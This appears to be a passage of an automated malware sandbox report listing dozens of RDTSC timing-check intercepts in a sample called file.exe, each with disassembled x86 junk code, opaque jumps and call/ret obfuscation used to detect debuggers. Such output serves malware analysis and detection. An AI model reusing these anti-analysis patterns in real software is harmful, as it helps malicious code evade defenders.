Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECF3F second address: 7ECF45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECF45 second address: 7ECF49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECF49 second address: 7ECF52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EC28D second address: 7EC292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EC292 second address: 7EC2B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FB8686220C6h 0x00000009 jno 00007FB8686220C6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 jmp 00007FB8686220D2h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EC43A second address: 7EC445 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EC5B5 second address: 7EC5BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EC5BA second address: 7EC5D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FB869324F21h 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECA6C second address: 7ECA77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECD56 second address: 7ECD5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECD5E second address: 7ECD62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECD62 second address: 7ECD68 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE46A second address: 7EE474 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB8686220C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE474 second address: 7EE486 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007FB869324F16h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE486 second address: 7EE49D instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB8686220C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE49D second address: 7EE4B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jne 00007FB869324F16h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE4B2 second address: 7EE4B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE4B6 second address: 7EE4C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE4C7 second address: 7EE50F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007FB8686220C8h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 movsx edi, ax 0x00000027 call 00007FB8686220C9h 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE50F second address: 7EE515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE515 second address: 7EE51A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE51A second address: 7EE53F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB869324F1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jbe 00007FB869324F20h 0x00000011 jmp 00007FB869324F1Ah 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EE9CE second address: 7EE9D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EEA6E second address: 7EEA72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EF295 second address: 7EF29F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FB8686220C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EF478 second address: 7EF487 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EF487 second address: 7EF48D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EF48D second address: 7EF491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EF491 second address: 7EF495 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EF527 second address: 7EF538 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007FB869324F16h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EF6C7 second address: 7EF6D9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 je 00007FB8686220CEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EFCF6 second address: 7EFD00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FB869324F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F054F second address: 7F05DC instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB8686220C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FB8686220D9h 0x00000012 popad 0x00000013 popad 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007FB8686220C8h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f cmc 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007FB8686220C8h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 00000014h 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c push 00000000h 0x0000004e push eax 0x0000004f jbe 00007FB8686220E9h 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007FB8686220D7h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F05DC second address: 7F05E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F03E7 second address: 7F03F9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB8686220C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007FB8686220CCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F0D99 second address: 7F0D9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2F0B second address: 7F2F15 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2F15 second address: 7F2F1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F2F1B second address: 7F2F1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3FAE second address: 7F3FD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB869324F1Ah 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB869324F24h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F3D74 second address: 7F3D78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4ACB second address: 7F4AD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F4AD7 second address: 7F4ADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7067 second address: 7F7098 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push esi 0x00000006 pop esi 0x00000007 js 00007FB869324F16h 0x0000000d jg 00007FB869324F16h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b jmp 00007FB869324F26h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A8409 second address: 7A840F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAC34 second address: 7FAC51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB869324F23h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAC51 second address: 7FAC56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAC56 second address: 7FAC5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAC5C second address: 7FAC66 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAC66 second address: 7FAC6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FAC6A second address: 7FAC70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDA66 second address: 7FDA6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDA6A second address: 7FDA84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDA84 second address: 7FDAF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jo 00007FB869324F16h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push ecx 0x00000010 pushad 0x00000011 push edi 0x00000012 pop edi 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pop ecx 0x00000017 nop 0x00000018 pushad 0x00000019 mov dword ptr [ebp+12456133h], edx 0x0000001f mov ecx, dword ptr [ebp+122D2C6Ch] 0x00000025 popad 0x00000026 mov dword ptr [ebp+122D3D49h], ebx 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push esi 0x00000031 call 00007FB869324F18h 0x00000036 pop esi 0x00000037 mov dword ptr [esp+04h], esi 0x0000003b add dword ptr [esp+04h], 0000001Bh 0x00000043 inc esi 0x00000044 push esi 0x00000045 ret 0x00000046 pop esi 0x00000047 ret 0x00000048 mov ebx, 74E1FA8Ch 0x0000004d push 00000000h 0x0000004f adc ebx, 70F932C1h 0x00000055 sub dword ptr [ebp+12456030h], edx 0x0000005b xchg eax, esi 0x0000005c push edi 0x0000005d push eax 0x0000005e push edx 0x0000005f jg 00007FB869324F16h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDAF2 second address: 7FDAF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F7ECD second address: 7F7ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FEB7F second address: 7FEB84 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FEB84 second address: 7FEB9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB869324F1Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDD3F second address: 7FDD5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB8686220D7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFAB6 second address: 7FFABA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFABA second address: 7FFAC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFAC0 second address: 7FFAC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFAC6 second address: 7FFAE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8686220CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d js 00007FB8686220CCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800AFD second address: 800B16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB869324F25h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800B16 second address: 800BA0 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB8686220C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007FB8686220C8h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 mov ebx, dword ptr [ebp+122D26BEh] 0x0000002f mov dword ptr [ebp+122D29D4h], edx 0x00000035 push 00000000h 0x00000037 mov edi, edx 0x00000039 and edi, 7D465F37h 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push ecx 0x00000044 call 00007FB8686220C8h 0x00000049 pop ecx 0x0000004a mov dword ptr [esp+04h], ecx 0x0000004e add dword ptr [esp+04h], 00000018h 0x00000056 inc ecx 0x00000057 push ecx 0x00000058 ret 0x00000059 pop ecx 0x0000005a ret 0x0000005b jmp 00007FB8686220D5h 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 pushad 0x00000065 popad 0x00000066 push ebx 0x00000067 pop ebx 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801BEE second address: 801C2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB869324F1Dh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 or dword ptr [ebp+122D3C5Bh], ecx 0x00000016 push 00000000h 0x00000018 mov di, 9621h 0x0000001c push 00000000h 0x0000001e mov bx, di 0x00000021 xchg eax, esi 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FB869324F24h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802D26 second address: 802DAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FB8686220CFh 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 mov ebx, dword ptr [ebp+122D2F5Fh] 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f call 00007FB8686220C8h 0x00000024 pop ecx 0x00000025 mov dword ptr [esp+04h], ecx 0x00000029 add dword ptr [esp+04h], 00000015h 0x00000031 inc ecx 0x00000032 push ecx 0x00000033 ret 0x00000034 pop ecx 0x00000035 ret 0x00000036 mov edi, dword ptr [ebp+122D29C5h] 0x0000003c stc 0x0000003d mov edi, dword ptr [ebp+122D2ED4h] 0x00000043 push 00000000h 0x00000045 mov edi, 3D14E100h 0x0000004a xchg eax, esi 0x0000004b push edi 0x0000004c jmp 00007FB8686220D6h 0x00000051 pop edi 0x00000052 push eax 0x00000053 pushad 0x00000054 push eax 0x00000055 push edi 0x00000056 pop edi 0x00000057 pop eax 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007FB8686220D0h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805D4B second address: 805D4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80401F second address: 80402A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806D50 second address: 806D54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806D54 second address: 806D5E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB8686220C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806D5E second address: 806E0F instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB869324F1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnl 00007FB869324F33h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007FB869324F18h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ecx 0x00000031 call 00007FB869324F18h 0x00000036 pop ecx 0x00000037 mov dword ptr [esp+04h], ecx 0x0000003b add dword ptr [esp+04h], 0000001Dh 0x00000043 inc ecx 0x00000044 push ecx 0x00000045 ret 0x00000046 pop ecx 0x00000047 ret 0x00000048 call 00007FB869324F20h 0x0000004d jmp 00007FB869324F26h 0x00000052 pop edi 0x00000053 push 00000000h 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 push ecx 0x00000059 jo 00007FB869324F16h 0x0000005f pop ecx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807EDC second address: 807F65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 nop 0x00000006 mov dword ptr [ebp+12482238h], edi 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007FB8686220C8h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 call 00007FB8686220CDh 0x0000002d movzx ebx, bx 0x00000030 pop ebx 0x00000031 jmp 00007FB8686220D4h 0x00000036 push 00000000h 0x00000038 jmp 00007FB8686220D6h 0x0000003d xchg eax, esi 0x0000003e jno 00007FB8686220D2h 0x00000044 push eax 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807F65 second address: 807F69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807F69 second address: 807F6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807F6F second address: 807F75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807F75 second address: 807F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806FF5 second address: 807014 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB869324F20h 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807014 second address: 807018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807018 second address: 807022 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB869324F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807022 second address: 807028 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
